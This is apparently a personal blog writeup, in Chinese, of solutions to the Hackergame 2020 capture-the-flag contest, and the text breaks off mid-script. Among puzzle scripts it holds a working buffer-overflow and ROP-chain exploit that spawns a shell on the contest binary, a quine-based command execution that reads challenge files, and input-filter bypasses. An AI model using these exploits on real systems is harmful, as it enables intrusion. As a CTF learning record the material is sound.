Hackergame 2020 Writeup

最近一周咱参加了 USTC 的 Hackergame 2020。由于正好之前的 Deadline 清完了,而且听说这个比赛新人友好 + 时间长,于是咱就来了。整体比赛感觉题目出的难度梯度确实很合理,从简单到难都有,而且很多难题也是偏脑洞的,可以通过一段时间的学习解出。最终排名虽然一度进入前 10,但是最后一小时还是掉出了前 10(屯 Flag 的 dalao 们太强了,垂直上分老拜登了),终榜 Rank11,算是一点遗憾吧哈哈。

话说回来,既然参加了比赛,就不能放过这个水 blog 的机会。且容我用 Writeup 水一篇 blog~

签到

签到题就是一个前端验证的题目,简单修改前端页面元素就可以。

当然也可以修改 url 中的 number 参数,而且多填几个确实会给好多个 flag(

虽然多个 flag 都是同一个

猫咪问答 ++

这题目有两个难点,一个就是第一问的哺乳动物数量(搜索真的太麻烦了!):

1. 以下编程语言、软件或组织对应标志是哺乳动物的有几个?

Docker,Golang,Python,Plan 9,PHP,GNU,LLVM,Swift,Perl,GitHub,TortoiseSVN,FireFox,MySQL,PostgreSQL,MariaDB,Linux,OpenBSD,FreeDOS,Apache Tomcat,Squid,openSUSE,Kali,Xfce.

另一个就是中国科学技术大学西校区图书馆正前方(西南方向) 50 米 L 型灌木处共有几个连通的划线停车位?了,也不知道是什么人才出的题目。而且有一个坑点,就是百度地图俯视角标出的车位数量是错的

你们这个是什么地图啊,害人不浅呐

必须在街景才能看到正确的数量。全部题目的答案如下,基本都可以通过搜索引擎搜索得到:

“建议身临其境”

全部的答案如下:

  1. 12(大概是 Docker、Golang、Plan 9、GNU、Perl、FireFox、MySQL、PostgreSQL、MariaDB、Apache Tomcat、Xfce、FreeDOS)
  2. 256(参阅:https://tools.ietf.org/html/rfc1149
  3. 9(TEEWORLDS)
  4. 9(见上图)
  5. 17098

由于第一个很容易数错,所以其他几个空可以使用 jQuery 快速填写

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
$("[name=q2]").val("256");
$("[name=q3]").val("9");
$("[name=q4]").val("9");
$("[name=q5]").val("17098");
$("[name=q2]").val("256"); $("[name=q3]").val("9"); $("[name=q4]").val("9"); $("[name=q5]").val("17098");
$("[name=q2]").val("256");
$("[name=q3]").val("9");
$("[name=q4]").val("9");
$("[name=q5]").val("17098");

2048

同样也是一道前端题,嘛,当然最简单的解法也许是最难就是手工玩了(逃。打开 Chrome 调试工具,在 Source 选项卡可以看到页面的源码,基本没有经过混淆。阅读后,可以在 html_actuator.js 发现请求 Flag 的逻辑,直接按着请求就行。

一闪而过的 Flag

题目是一个 Windows 控制台程序,由于打开立刻会关闭窗口因此难以阅读 Flag。在 Windows Terminal 或其他终端打开程序即可。

从零开始的记账工具人

题目是一个含大写数字和物品数量的 Excel,要求计算购买总金额。由于总量较大,没有办法简单通过人工转换,所以需要写脚本解析。我这里采用的方式是将题目转换为 csv 格式的文件(不转换也行,可以用 pandas 读),然后写 Python 脚本解析。说实话,这题目的格式挺复杂,搜到的转换函数都不太管用,最后还是自己写了。另外还有一点就是,由于浮点数精度有限,这题还需要 ×100 转化为整数计算。

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
with open('./hg/bills.csv', 'r') as f:
data = f.readlines()
total = 0
m = "零壹贰叁肆伍陆柒捌玖"
m_map = {k:m.index(k) for k in m}
b_map = {"佰":10000,"拾":1000,"元":100,"角":10,"分":1}
def trans(s):
curm = None
curb = None
cur = 0
for ch in s:
if ch == ' 整':
continue
if ch in m:
curm = m_map[ch]
elif ch in b_map.keys():
curb = b_map[ch]
if curb is not None:
if curm is None:
if ch == ' 元':
curm = 0
else:
curm = 1
cur += curm * curb
curm = curb = None
return cur
data = data[1:]
for line in data:
s, cnt = line.split(",")
cur = trans(s)
total += int(cur) * int(cnt)
print(total / 100)
with open ('./hg/bills.csv', 'r') as f: data = f.readlines () total = 0 m = "零壹贰叁肆伍陆柒捌玖" m_map = {k:m.index (k) for k in m} b_map = {"佰":10000,"拾":1000,"元":100,"角":10,"分":1} def trans (s): curm = None curb = None cur = 0 for ch in s: if ch == ' 整 ': continue if ch in m: curm = m_map [ch] elif ch in b_map.keys (): curb = b_map [ch] if curb is not None: if curm is None: if ch == ' 元 ': curm = 0 else: curm = 1 cur += curm * curb curm = curb = None return cur data = data [1:] for line in data: s, cnt = line.split (",") cur = trans (s) total += int (cur) * int (cnt) print (total / 100)
with open('./hg/bills.csv', 'r') as f:
    data = f.readlines()

total = 0
m = "零壹贰叁肆伍陆柒捌玖"
m_map = {k:m.index(k) for k in m}
b_map = {"佰":10000,"拾":1000,"元":100,"角":10,"分":1}

def trans(s):
    curm = None
    curb = None
    cur = 0
    for ch in s:
        if ch == '整':
            continue
        if ch in m:
            curm = m_map[ch]
        elif ch in b_map.keys():
            curb = b_map[ch]
        if curb is not None:
            if curm is None:
                if ch == '元':
                    curm = 0
                else:
                    curm = 1
            cur += curm * curb
            curm = curb = None
    return cur

data = data[1:]
for line in data:
    s, cnt = line.split(",")
    cur = trans(s)
    total += int(cur) * int(cnt)

print(total / 100)

超简单的世界模拟器

这题是模拟康威生命游戏(Conway’s Game of Life),需要摧毁游戏中两个特定的方块,并且只可以在左上角 15*15 的游戏区域内绘制。第一次见到 Conway’s Game of Life 还是网鼎杯的诡异二维码,当时没能看出题目的提示。事实上这一题在康威生命游戏中有个特定的门类 GUN,是专门设计能摧毁一块区域的结构的。第一题可以用 Wikipedia 的 Glider 解,至于第二题…… 我一开始在现有结构中试了半天,甚至尝试过通过反弹产生 Glider,但是最后还是通过随机输入解的(囧)。

从零开始的火星文生活

这题和我之前校赛出的题目撞了 hhhh(我出的可以参见:SpiritCTF 2020 – Misc Official Writeup 锟斤拷)。同样也是先按照题目使用 GBK 编码。之后考虑熵可大致判断是文本,因此直接暴力尝试不同编码解码即可。解码所用的编码为 GB18030。

自复读的复读机

反向复读

题目要求输入一串自复读的 Python 代码,如果想不出来…… 那当然是 Google 一个了(逃。搜索 “Python print itself”,在第一条搜索结果中可以找到这段代码

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
s = r"print 's = r\"' + s + '\"' + '\nexec(s)'"
exec(s)
s = r"print 's = r\"' + s + '\"' + '\nexec(s)'" exec(s)
s = r"print 's = r\"' + s + '\"' + '\nexec(s)'"
exec(s)

不过很显然,它不仅有换行,而且语法也是 Python 2 的,所以稍加调整就可以得到 Python 3 的版本

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
s = r"print('s = r\"' + s + '\"; exec(s)')"; exec(s)
s = r"print('s = r\"' + s + '\"; exec(s)')"; exec(s)
s = r"print('s = r\"' + s + '\"; exec(s)')"; exec(s)

由于题目要求反向输出,因此在 print 时还需要反向。此外,还有一个坑就是 print 默认会在行末加换行符,需要通过 end 参数绕开。最终 Payload 为

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
s = r"print(('s = r\"' + s + '\"; exec(s)')[::-1],end='')"; exec(s)
s = r"print(('s = r\"' + s + '\"; exec(s)')[::-1],end='')"; exec(s)
s = r"print(('s = r\"' + s + '\"; exec(s)')[::-1],end='')"; exec(s)

哈希复读

哈希复读和逆序同理,但是有一个问题,就是计算 sha256 需要导入 hashlib 库。这里就用到了 Python 的 BUG 特性__import__进行行内导入。因此最后的 Payload 为

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
s = r"print(__import__('hashlib').sha256(('s = r\"' + s + '\"; exec(s)').encode()).hexdigest(), end='')"; exec(s)
s = r"print(__import__('hashlib').sha256(('s = r\"' + s + '\"; exec(s)').encode()).hexdigest(), end='')"; exec(s)
s = r"print(__import__('hashlib').sha256(('s = r\"' + s + '\"; exec(s)').encode()).hexdigest(), end='')"; exec(s)

#多说一句

虽然本身不是沙箱逃逸题,但是你其实可以读取一些题目文件好家伙,直接偷题

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
__import__("os").system('cat checker.py')
__import__("os").system('cat checker.py')
__import__("os").system('cat checker.py')

不过由于用户是 nobody,所以不能直接读取 flag 文件也不能搅屎

233 同学的字符串工具

字符串大写工具

题目首先正则过滤掉了大小写的 FLAG,然后又希望 str.upper 的输出是 FLAG

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
r = re.compile('[fF][lL][aA][gG]')
if r.match(s):
print('how dare you')
elif s.upper() == 'FLAG':
print('yes, I will give you the flag')
print(open('/flag1').read())
r = re.compile('[fF][lL][aA][gG]') if r.match(s): print('how dare you') elif s.upper() == 'FLAG': print('yes, I will give you the flag') print(open('/flag1').read())
r = re.compile('[fF][lL][aA][gG]')
if r.match(s):
    print('how dare you')
elif s.upper() == 'FLAG':
    print('yes, I will give you the flag')
    print(open('/flag1').read())

在正则表达式正确的情况下,我们只能合理怀疑是 upper 出了问题。但是实际上相关资料少得可怜,源码也看不出什么端倪,所以想到直接爆破

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
for i in range(1 + 0x110000): # chr 最大值
s = chr(i)
if s.upper() != s.title():
print(s)
for i in range (1 + 0x110000): # chr 最大值 s = chr (i) if s.upper () != s.title (): print (s)
for i in range(1 + 0x110000): # chr 最大值
    s = chr(i)
    if s.upper() != s.title():
        print(s)

然后结果中可以找到一个诡异的输出,于是拼起来就得到了 payload:flag。而且 StackOverflow 确实能查到相关的提问。实际上,这个字符是拉丁文小型连字(U+FB02),其标准的 Case Folding 就是 0066 006C(对应 ASCII 的 fl),所以 Python 的处理实际上没什么问题。

编码转换工具

第二题类似第一题,就是第二个条件变更为以 UTF-7 解码。这里的考察点是 UTF-7 编码,UTF-7 编码本质上就是用 Base64 编码非 ASCII(其实是 ASCII 的子集)字符。因此大部分的实现在解码过程中基本都是直接解码 Base64,而这就会导致原本 ASCII 的字符有了两种表示,由此可以完成绕过。

对于字符 f,其 ASCII 码为 0b0000000001100110,六个一组可以分为 [0b000000, 0b000110, 0b011000],查表得到'A', 'G', 'Y'。因此最终的 Payload 为:+AGY-lag

233 同学的 Docker

这题考察的是 Docker 的镜像(IMAGE)。这里需要一个前置知识,为了节省空间,Docker 镜像实际是分层存储的,每层仅仅存放了有差异的文件。

Docker 容器的文件结构

而 Dockerfile 中的每一行都会创建一个容器层,因此只需要找到容器在 flag 删除之前的那一层的文件就可以找到 flag 的内容。

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
# 拖拽镜像
docker pull 8b8d3c8324c7/stringtool
# 查看 Overlay 位置
docker info
# 进入对应文件夹(需要 Root)
cd /var/lib/docker/overlay2
# 查找 flag 文件
find . -iname flag.txt
# 输出内容,注意其中一个是无法输出的
cat ./450dde13d1324a35c16113e8ebec6e554f219b71f4f473cbb5612f23ab12c3be/diff/code/flag.txt
# 拖拽镜像 docker pull 8b8d3c8324c7/stringtool # 查看 Overlay 位置 docker info # 进入对应文件夹(需要 Root) cd /var/lib/docker/overlay2 # 查找 flag 文件 find . -iname flag.txt # 输出内容,注意其中一个是无法输出的 cat ./450dde13d1324a35c16113e8ebec6e554f219b71f4f473cbb5612f23ab12c3be/diff/code/flag.txt
# 拖拽镜像
docker pull 8b8d3c8324c7/stringtool
# 查看Overlay位置
docker info
# 进入对应文件夹(需要Root)
cd /var/lib/docker/overlay2
# 查找flag文件
find . -iname flag.txt
# 输出内容,注意其中一个是无法输出的
cat ./450dde13d1324a35c16113e8ebec6e554f219b71f4f473cbb5612f23ab12c3be/diff/code/flag.txt

从零开始的 HTTP 链接

这题是字面意思,就是使用 HTTP 连接题目服务器的 0 号端口。所以手动操作 Socket

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
from socket import *
sock = socket()
sock.connect(("202.38.93.111", 0))
sock.send("GET / HTTP/1.1\r\nHost: 202.38.93.111:0\r\n\r\n".encode())
bin = sock.recv(4096)
while bin:
print(bin.decode())
bin = sock.recv(4096)
from socket import * sock = socket() sock.connect(("202.38.93.111", 0)) sock.send("GET / HTTP/1.1\r\nHost: 202.38.93.111:0\r\n\r\n".encode()) bin = sock.recv(4096) while bin: print(bin.decode()) bin = sock.recv(4096)
from socket import *

sock = socket()
sock.connect(("202.38.93.111", 0))
sock.send("GET / HTTP/1.1\r\nHost: 202.38.93.111:0\r\n\r\n".encode())
bin = sock.recv(4096)
while bin:
    print(bin.decode())
    bin = sock.recv(4096)

注意,似乎 macOS 底层限制没法连接 0 号端口。此外,由于我本地开启了透明代理,而相关工具不支持 0 号端口,搞得我一直以为哪里写错了……

连接上之后发现坑爹事儿:页面是 WebSocket 通信的。摆明就是不建议手写嘛!所以就 Google 了一个端口转发的 Python 脚本,改改地址(我还加了一大堆 try/except鲁棒!妥妥的鲁棒)然后用浏览器打开就行了。

来自一教的图片

题目提到了傅里叶光学实验,而且文件名是 4f_system_middle,所以我真的去找了一个 4f 光学系统的模拟…… 然后粗暴替换每一步的输入为图片,结果真被我做出来了(逃。最后的代码简化如下

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
img = double(imread('4f_system_middle.bmp'));
img_fft = fftshift(fft2(fftshift(img)));
colormap(gray(256))
imagesc(log(abs(img_fft))), axis image
img = double(imread('4f_system_middle.bmp')); img_fft = fftshift(fft2(fftshift(img))); colormap(gray(256)) imagesc(log(abs(img_fft))), axis image
img = double(imread('4f_system_middle.bmp'));
img_fft = fftshift(fft2(fftshift(img)));
colormap(gray(256))
imagesc(log(abs(img_fft))), axis image

结果就是一个 fft 啦!而且结果还挺难认的,有些字符直接跑到左边去了。

超简陋的 OpenGL 小程序

打开程序发现 Flag 的模型前面有一堵墙,程序 Shader 就是简单实现了 Phong 光照(其实缺了高光分量)(不懂 Phong 光照的可以看我 OpenGL 笔记的光照篇,哦我还没写出来,那没事了)。由于懒得逆向,而且 Shader 程序是文本形式的 GLSL,所以不妨直接改一改 Shader。由于墙本质是一系列顶点,所以我们只需要判断墙的顶点,然后把它移开就行。

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
#version 330 core
layout (location = 0) in vec3 aPos;
layout (location = 1) in vec3 aNormal;
out vec3 FragPos;
out vec3 Normal;
uniform mat4 model;
uniform mat4 view;
uniform mat4 projection;
void main()
{
vec3 pos = aPos;
if (pos[2] > 0.1) {
pos[0] += 1;
pos[1] += 1;
pos[2] += 2;
}
FragPos = vec3(model * vec4(pos, 1.0));
Normal = aNormal;
gl_Position = projection * view * vec4(FragPos, 1.0);
}
#version 330 core layout (location = 0) in vec3 aPos; layout (location = 1) in vec3 aNormal; out vec3 FragPos; out vec3 Normal; uniform mat4 model; uniform mat4 view; uniform mat4 projection; void main() { vec3 pos = aPos; if (pos[2] > 0.1) { pos[0] += 1; pos[1] += 1; pos[2] += 2; } FragPos = vec3(model * vec4(pos, 1.0)); Normal = aNormal; gl_Position = projection * view * vec4(FragPos, 1.0); }
#version 330 core
layout (location = 0) in vec3 aPos;
layout (location = 1) in vec3 aNormal;

out vec3 FragPos;
out vec3 Normal;

uniform mat4 model;
uniform mat4 view;
uniform mat4 projection;

void main()
{
    vec3 pos = aPos;
    if (pos[2] > 0.1) {
        pos[0] += 1;
        pos[1] += 1;
        pos[2] += 2;
    }
    FragPos = vec3(model * vec4(pos, 1.0));
    Normal = aNormal;
    
    gl_Position = projection * view * vec4(FragPos, 1.0);
}

pos[2] 对应的就是 z 轴坐标,具体的值需要多试几次,不然效果会很古怪。

大概有那么怪

生活在博弈树上

题目内容 NETA 自 2020 浙江高考满分作文《生活在树上》,老八股了。

始终热爱大地

题目程序实现了一个井字棋的博弈树。而由于服务器是先手,因此正常情况下本题是没有办法下赢电脑的。考虑到题目给了 binary,所以这题本质还是 pwn。第一次在正赛打 pwn,有点小激动。观察源码,可以找到危险函数 gets,可以确定是一个 ROP。

所以目标是覆盖到 success,使程序成功退出。把 binary 丢进 cutter,与源码对应就可以找到 success 在栈上的位置。

可以看到 successbuffer 的偏移是 0x90 - 0x1,因此直接覆盖过去。此外还要注意一点就是,因为覆盖成功后需要进入判断,所以覆盖的时候要使用数字并且该格子需要没被占领,因此直接盖'1' 即可。Exp 如下

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
from pwn import *
token = "Your token"
real = True
if real:
sh = remote("202.38.93.111", 10141)
sh.sendline(token.encode())
else:
sh = process("./hg/tictactoe/tictactoe")
sh.recvuntil("such as (0,1):")
payload = b"1" * (0x90 - 0x1) + b'\x01'
sh.sendline(payload)
sh.interactive()
from pwn import * token = "Your token" real = True if real: sh = remote("202.38.93.111", 10141) sh.sendline(token.encode()) else: sh = process("./hg/tictactoe/tictactoe") sh.recvuntil("such as (0,1):") payload = b"1" * (0x90 - 0x1) + b'\x01' sh.sendline(payload) sh.interactive()
from pwn import *

token = "Your token"
real = True

if real:
    sh = remote("202.38.93.111", 10141)
    sh.sendline(token.encode())
else:
    sh = process("./hg/tictactoe/tictactoe")

sh.recvuntil("such as (0,1):")
payload = b"1" * (0x90 - 0x1) + b'\x01'
sh.sendline(payload)
sh.interactive()

升上天空

既然是 ROP,不难想到第二题就是 Get Shell 了。Get Shell 的目标很明确,就是调用系统调用。这里就是 59 号系统调用 execve。因此需要填写这几个寄存器

NRsyscall namereferences%raxarg0 (%rdi)arg1 (%rsi)arg2 (%rdx)
59execveman/ cs/0x3bconst char *filenameconst char *const *argvconst char *const *envp

填写寄存器的通常方法是找一些可以利用的代码段(叫做 Gadget),这些 Gadget 一般包括寄存器修改,最后以 ret 结尾(用来返回栈,继续执行下一个 Gadget)。比如 add rax, 1 ; ret 就是给 rax 寄存器 + 1 的 Gadget。这里可以使用工具 ROPgadget 来查找可用的 Gadget,由于输出较多,因此需要手动 grep 一下结果。比如对于填写调用号寄存器 rax,我们可以查找如下 Gadget

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
$ ROPgadget --binary ./tictactoe | grep 'add rax'
0x0000000000463af0 : add rax, 1 ; ret
$ ROPgadget --binary ./tictactoe | grep 'xor rax'
0x0000000000439070 : xor rax, rax ; ret
$ ROPgadget --binary ./tictactoe | grep 'add rax' 0x0000000000463af0 : add rax, 1 ; ret $ ROPgadget --binary ./tictactoe | grep 'xor rax' 0x0000000000439070 : xor rax, rax ; ret
$ ROPgadget --binary ./tictactoe | grep 'add rax'
0x0000000000463af0 : add rax, 1 ; ret
$ ROPgadget --binary ./tictactoe | grep 'xor rax'
0x0000000000439070 : xor rax, rax ; ret

xor rax, rax ; ret 可以用来清空 rax 寄存器的内容,之后重复 59 次 add rax, 1 ; ret 就可以使 rax 寄存器的内容变为 59。而对于rdi这种指针类型的参数,我们可以直接在栈上布置内容,然后使用 rsp 寄存器的值作为指针位置(比如 push rsp; ret 加上 pop rdi; ret)。当然也可以寻找一个有读写权限的段(比如.data),然后将值写入,比如栈上布置

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
0x0000000000407228 -> pop rsi ; ret,相当于 rsi = .data 段地址
0x00000000004a60e0 -> .data 段地址
0x000000000043e52c -> pop rax ; ret,相当于 rax = '/bin//sh'
hex('/bin//sh')
0x000000000046d7b1 -> mov qword ptr [rsi], rax ; ret,相当于 *rsi = rax
0x0000000000407228 -> pop rsi ; ret,相当于 rsi = .data 段地址 0x00000000004a60e0 -> .data 段地址 0x000000000043e52c -> pop rax ; ret,相当于 rax = '/bin//sh' hex ('/bin//sh') 0x000000000046d7b1 -> mov qword ptr [rsi], rax ; ret,相当于 *rsi = rax
0x0000000000407228 -> pop rsi ; ret,相当于 rsi = .data段地址
0x00000000004a60e0 -> .data段地址
0x000000000043e52c -> pop rax ; ret,相当于 rax = '/bin//sh'
hex('/bin//sh')
0x000000000046d7b1 -> mov qword ptr [rsi], rax ; ret,相当于 *rsi = rax

由于这种布置比较简单,题目也没加设限制,所以可以直接使用 ROPgadget 的 ropchain 选项自动生成 ROP 链。最终 Exp 如下

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
from pwn import *
token = "Your token"
real = True
if real:
sh = remote("202.38.93.111", 10141)
sh.sendline(token.encode())
else:
sh = process("./hg/tictactoe/tictactoe")
# ROPgadget --binary ./tictactoe --ropchain
from struct import pack
# Padding goes here
p = b''
p += pack('<Q', 0x0000000000407228) # pop rsi ; ret
p += pack('<Q', 0x00000000004a60e0) # @ .data
p += pack('<Q', 0x000000000043e52c) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000046d7b1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000407228) # pop rsi ; ret
p += pack('<Q', 0x00000000004a60e8) # @ .data + 8
p += pack('<Q', 0x0000000000439070) # xor rax, rax ; ret
p += pack('<Q', 0x000000000046d7b1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004017b6) # pop rdi ; ret
p += pack('<Q', 0x00000000004a60e0) # @ .data
p += pack('<Q', 0x0000000000407228) # pop rsi ; ret
p += pack('<Q', 0x00000000004a60e8) # @ .data + 8
p += pack('<Q', 0x000000000043dbb5) # pop rdx ; ret
p += pack('<Q', 0x00000000004a60e8) # @ .data + 8
p += pack('<Q', 0x0000000000439070) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000463af0) * 59 # add rax, 1 ; ret
p += pack('<Q', 0x0000000000402bf4) # syscall
sh.recvuntil("such as (0,1):")
payload = b"1" * (0x90 - 0x1) + b'\x01' + b"1" * 8 + p
sh.sendline(payload)
sh.interactive()
from pwn import * token = "Your token" real = True if real: sh = remote("202.38.93.111", 10141) sh.sendline(token.encode()) else: sh = process("./hg/tictactoe/tictactoe") # ROPgadget --binary ./tictactoe --ropchain from struct import pack # Padding goes here p = b'' p += pack('<Q', 0x0000000000407228) # pop rsi ; ret p += pack('<Q', 0x00000000004a60e0) # @ .data p += pack('<Q', 0x000000000043e52c) # pop rax ; ret p += b'/bin//sh' p += pack('<Q', 0x000000000046d7b1) # mov qword ptr [rsi], rax ; ret p += pack('<Q', 0x0000000000407228) # pop rsi ; ret p += pack('<Q', 0x00000000004a60e8) # @ .data + 8 p += pack('<Q', 0x0000000000439070) # xor rax, rax ; ret p += pack('<Q', 0x000000000046d7b1) # mov qword ptr [rsi], rax ; ret p += pack('<Q', 0x00000000004017b6) # pop rdi ; ret p += pack('<Q', 0x00000000004a60e0) # @ .data p += pack('<Q', 0x0000000000407228) # pop rsi ; ret p += pack('<Q', 0x00000000004a60e8) # @ .data + 8 p += pack('<Q', 0x000000000043dbb5) # pop rdx ; ret p += pack('<Q', 0x00000000004a60e8) # @ .data + 8 p += pack('<Q', 0x0000000000439070) # xor rax, rax ; ret p += pack('<Q', 0x0000000000463af0) * 59 # add rax, 1 ; ret p += pack('<Q', 0x0000000000402bf4) # syscall sh.recvuntil("such as (0,1):") payload = b"1" * (0x90 - 0x1) + b'\x01' + b"1" * 8 + p sh.sendline(payload) sh.interactive()
from pwn import *

token = "Your token"
real = True

if real:
    sh = remote("202.38.93.111", 10141)
    sh.sendline(token.encode())
else:
    sh = process("./hg/tictactoe/tictactoe")

# ROPgadget --binary ./tictactoe --ropchain
from struct import pack

# Padding goes here
p = b''
p += pack('<Q', 0x0000000000407228) # pop rsi ; ret
p += pack('<Q', 0x00000000004a60e0) # @ .data
p += pack('<Q', 0x000000000043e52c) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000046d7b1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000407228) # pop rsi ; ret
p += pack('<Q', 0x00000000004a60e8) # @ .data + 8
p += pack('<Q', 0x0000000000439070) # xor rax, rax ; ret
p += pack('<Q', 0x000000000046d7b1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004017b6) # pop rdi ; ret
p += pack('<Q', 0x00000000004a60e0) # @ .data
p += pack('<Q', 0x0000000000407228) # pop rsi ; ret
p += pack('<Q', 0x00000000004a60e8) # @ .data + 8
p += pack('<Q', 0x000000000043dbb5) # pop rdx ; ret
p += pack('<Q', 0x00000000004a60e8) # @ .data + 8
p += pack('<Q', 0x0000000000439070) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000463af0) * 59 # add rax, 1 ; ret
p += pack('<Q', 0x0000000000402bf4) # syscall

sh.recvuntil("such as (0,1):")
payload = b"1" * (0x90 - 0x1) + b'\x01' + b"1" * 8 + p
sh.sendline(payload)
sh.interactive()

来自未来的信笺

本题题目为一系列二维码,构造方式类似于 Github 北极存档计划。所以逐一扫码后拼接解压即可得到 Flag。吐槽下 Python 的二维码库,基本都没法用(比如 zxing 的 Python bind)。

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
#!/bin/sh
for i in *.png; do
zbarimg --raw --oneshot -Sbinary "$i" > "${i%.png}.bin"
done
cat *.bin >> merged.bin
#!/bin/sh for i in *.png; do zbarimg --raw --oneshot -Sbinary "$i" > "${i%.png}.bin" done cat *.bin >> merged.bin
#!/bin/sh
for i in *.png; do
    zbarimg --raw --oneshot -Sbinary "$i" > "${i%.png}.bin"
done
cat *.bin >> merged.bin

狗狗银行

题目允许开储蓄卡、信用卡,并且信用卡可以给储蓄卡转账,每日产生消费和利息。简单实验发现题目存在浮点数四舍五入,所以可以利用这一点,给储蓄卡转账 167 元(因为 167 * 0.003 = 0.501 会被四舍五入为 1)以利用。假如开 100 张,每日能赚 100,同时需要还 83(167 * 100 * 0.005 = -83.5),每日还有额外开销 10。可以看到最终还是会多的,但是由于欠款越来越多,所以 100 张还是无法赚取 1000,最后解题使用了 500 张卡。可以在控制台用 Fetch API 简化开卡流程。

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
// 开 500 张,注意先手动开一张信用卡
for (i = 0; i < 500; i++) {
fetch("http://202.38.93.111:10100/api/create", {
method: 'POST',
body: JSON.stringify({type: "debit"}),
headers: new Headers({
"Content-Type": "application/json;charset=UTF-8",
"Authorization": "Bearer Your token"
})
})
}
// 转账
for (i = 3; i <= 502; i++) {
fetch("http://202.38.93.111:10100/api/transfer", {
method: 'POST',
body: JSON.stringify({
amount: 167,
dst: i,
src: 2
}),
headers: new Headers({
"Content-Type": "application/json;charset=UTF-8",
"Authorization": "Bearer Your token"
})
})
}
// 然后就嗯点就行了
// 开 500 张,注意先手动开一张信用卡 for (i = 0; i < 500; i++) { fetch ("http://202.38.93.111:10100/api/create", { method: 'POST', body: JSON.stringify ({type: "debit"}), headers: new Headers ({ "Content-Type": "application/json;charset=UTF-8", "Authorization": "Bearer Your token" }) }) } // 转账 for (i = 3; i <= 502; i++) { fetch ("http://202.38.93.111:10100/api/transfer", { method: 'POST', body: JSON.stringify ({ amount: 167, dst: i, src: 2 }), headers: new Headers ({ "Content-Type": "application/json;charset=UTF-8", "Authorization": "Bearer Your token" }) }) } // 然后就嗯点就行了
// 开500张,注意先手动开一张信用卡
for (i = 0; i < 500; i++) {
    fetch("http://202.38.93.111:10100/api/create", {
        method: 'POST',
        body: JSON.stringify({type: "debit"}),
        headers: new Headers({
            "Content-Type": "application/json;charset=UTF-8",
            "Authorization": "Bearer Your token"
        })
    })
}
// 转账
for (i = 3; i <= 502; i++) {
    fetch("http://202.38.93.111:10100/api/transfer", {
        method: 'POST',
        body: JSON.stringify({
            amount: 167,
            dst: i,
            src: 2
        }),
        headers: new Headers({
            "Content-Type": "application/json;charset=UTF-8",
            "Authorization": "Bearer Your token"
        })
    })
}
// 然后就嗯点就行了

超基础的数理模拟器

题目是真的朴实无华且枯燥,就是嗯解 400 道定积分。听说还有直播手算的 dalao,几小时就做完了。然而咱数理基础并不是很扎实,所以只得偷鸡用脚本跑。一开始我用了 Sympy 尝试求解,发现大量失败,所以我就放弃自己解了。结果后来听说用 numpy 就能出数值解,囧。

我最终是使用了微软计算器的 API,直接读取 Latex 格式公式计算。虽然十几次才能算一个,但是挂一晚上也够了(逃。此外就是还需要注意 Session 的问题,所以需要维护一个 Cookie Jar。最后 Exp 脚本如下,感谢 M$ 爸爸没 Ban 我 IP

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
import requests
import re
from bs4 import BeautifulSoup
import pickle
import os
ret_re = re.compile("approx\\s([0-9\\.]+)")
session = requests.session()
ua = 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36'
def load_base_cookie():
url = "http://202.38.93.111:10190/login?token=Your%20token"
headers = {
'User-Agent': ua
}
session.request("GET", url, headers=headers)
assert len(session.cookies) > 0
def load_cookie_from_file():
if os.path.exists("./cookies"):
print("从文件恢复 Cookie")
with open('./cookies', 'rb') as f:
session.cookies = pickle.load(f)
else:
print("载入新 Cookie")
load_base_cookie()
def save_cookie():
with open('./cookies', 'wb') as f:
pickle.dump(session.cookies, f, 0)
def solve(latex : str):
url = "https://www.bing.com/cameraexp/api/v1/solvelatex"
latex = latex.replace("\\", "\\\\")
payload = "{\n \"latexExpression\": \"" + latex \
+ "\",\n \"clientInfo\": {\n \"platform\": \"web\",\n \"mkt\": \"zh\",\n \"skipGraphOutput\": true,\n \"skipBingVideoEntity\": true\n },\n \"customLatex\": \"" + \
latex + "\",\n \"showCustomResult\": false\n}"
headers = {
'Content-Type': 'application/json',
'Cookie': 'Your cookie',
'User-Agent': ua
}
response = requests.request("POST", url, headers=headers, data = payload)
data = response.json()
data = data['results'][0]['tags'][0]['actions'][0]
print("取得返回结果:", repr(data)[:70])
groups = ret_re.findall(data['customData'])
ret : str = groups[0]
point_at = ret.index(".")
decimals = len(ret) - point_at - 1
if decimals > 6:
ret = ret[0:point_at + 6 + 1]
else:
ret += '0' * (6 - decimals) # 是不是要补 0?
return ret
def get_quest():
try:
